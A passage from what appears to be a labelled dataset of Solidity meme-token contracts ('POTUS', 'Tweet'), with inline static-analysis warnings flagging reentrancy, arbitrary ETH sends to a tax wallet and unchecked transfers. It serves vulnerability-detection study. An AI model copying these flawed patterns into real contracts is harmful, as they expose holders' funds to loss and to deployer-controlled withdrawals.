owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract POTUS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d2083e1): POTUS._taxWallet should be immutable \n\t// Recommendation for d2083e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61fe382): POTUS._initialBuyTax should be constant \n\t// Recommendation for 61fe382: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 583c44e): POTUS._initialSellTax should be constant \n\t// Recommendation for 583c44e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c891fc3): POTUS._finalBuyTax should be constant \n\t// Recommendation for c891fc3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28aaa0c): POTUS._finalSellTax should be constant \n\t// Recommendation for 28aaa0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5eebdaf): POTUS._reduceBuyTaxAt should be constant \n\t// Recommendation for 5eebdaf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3eeef6): POTUS._reduceSellTaxAt should be constant \n\t// Recommendation for b3eeef6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 830be3e): POTUS._preventSwapBefore should be constant \n\t// Recommendation for 830be3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Donald Trump\";\n\n string private constant _symbol = unicode\"POTUS\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30908e7): POTUS._taxSwapThreshold should be constant \n\t// Recommendation for 30908e7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 150000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0d3681): POTUS._maxTaxSwap should be constant \n\t// Recommendation for a0d3681: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 603a8ac): POTUS.uniswapV2Router should be immutable \n\t// Recommendation for 603a8ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6f53dcf): POTUS.uniswapV2Pair should be immutable \n\t// Recommendation for 6f53dcf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4e9b54): POTUS.sellsPerBlock should be constant \n\t// Recommendation for e4e9b54: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: c76a602): POTUS.buysFirstBlock should be constant \n\t// Recommendation for c76a602: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: baaaf1c): POTUS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for baaaf1c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 31982df): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 31982df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b98147b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b98147b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 31982df\n\t\t// reentrancy-benign | ID: b98147b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 31982df\n\t\t// reentrancy-benign | ID: b98147b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ffc403): POTUS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3ffc403: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b98147b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 31982df\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c7b580c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c7b580c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 73ba9c8): POTUS._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 73ba9c8: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8752979): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8752979: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6c4051b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6c4051b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 73ba9c8\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: c7b580c\n\t\t\t\t// reentrancy-eth | ID: 8752979\n\t\t\t\t// reentrancy-eth | ID: 6c4051b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c7b580c\n\t\t\t\t\t// reentrancy-eth | ID: 8752979\n\t\t\t\t\t// reentrancy-eth | ID: 6c4051b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6c4051b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6c4051b\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: c7b580c\n\t\t\t\t// reentrancy-eth | ID: 8752979\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c7b580c\n\t\t\t\t\t// reentrancy-eth | ID: 8752979\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8752979\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c7b580c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8752979\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8752979\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c7b580c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c7b580c\n\t\t// reentrancy-events | ID: 31982df\n\t\t// reentrancy-benign | ID: b98147b\n\t\t// reentrancy-eth | ID: 8752979\n\t\t// reentrancy-eth | ID: 6c4051b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3b0510e): POTUS.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3b0510e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c7b580c\n\t\t// reentrancy-events | ID: 31982df\n\t\t// reentrancy-eth | ID: 8752979\n\t\t// reentrancy-eth | ID: 6c4051b\n\t\t// arbitrary-send-eth | ID: 3b0510e\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: cef3adf): POTUS.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for cef3adf: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: cef3adf\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d9bd4a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d9bd4a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9e7e19c): POTUS.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9e7e19c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cb43b2c): POTUS.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cb43b2c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 266e659): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 266e659: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: d9bd4a1\n\t\t// unused-return | ID: cb43b2c\n\t\t// reentrancy-eth | ID: 266e659\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d9bd4a1\n\t\t// unused-return | ID: 9e7e19c\n\t\t// reentrancy-eth | ID: 266e659\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d9bd4a1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 266e659\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: d9bd4a1\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_102.sol",
"size_bytes": 23075,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5e929dc): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 5e929dc: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 5e929dc\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Tweet is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec0f014): Tweet._taxWallet should be immutable \n\t// Recommendation for ec0f014: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2bb6a8): Tweet._initialBuyTax should be constant \n\t// Recommendation for b2bb6a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2d3bd5): Tweet._initialSellTax should be constant \n\t// Recommendation for d2d3bd5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ca6beb): Tweet._finalBuyTax should be constant \n\t// Recommendation for 0ca6beb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b1dbbc): Tweet._reduceBuyTaxAt should be constant \n\t// Recommendation for 3b1dbbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fb900d): Tweet._reduceSellTaxAt should be constant \n\t// Recommendation for 0fb900d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 37;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba67850): Tweet._preventSwapBefore should be constant \n\t// Recommendation for ba67850: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 37;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: bd76a9f): Tweet._taxSwapThreshold should be constant \n\t// Recommendation for bd76a9f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 64dc700): Tweet._maxTaxSwap should be constant \n\t// Recommendation for 64dc700: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6b72f2): Tweet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6b72f2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5ff7802): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5ff7802: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 797461d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 797461d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5ff7802\n\t\t// reentrancy-benign | ID: 797461d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5ff7802\n\t\t// reentrancy-benign | ID: 797461d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a0b046): Tweet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a0b046: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 51ace37\n\t\t// reentrancy-benign | ID: 797461d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5ff7802\n\t\t// reentrancy-events | ID: 4fc2e5f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5be1ae8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5be1ae8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4a18668): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4a18668: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5be1ae8\n\t\t\t\t// reentrancy-eth | ID: 4a18668\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5be1ae8\n\t\t\t\t\t// reentrancy-eth | ID: 4a18668\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4a18668\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4a18668\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4a18668\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5be1ae8\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4a18668\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4a18668\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5be1ae8\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) 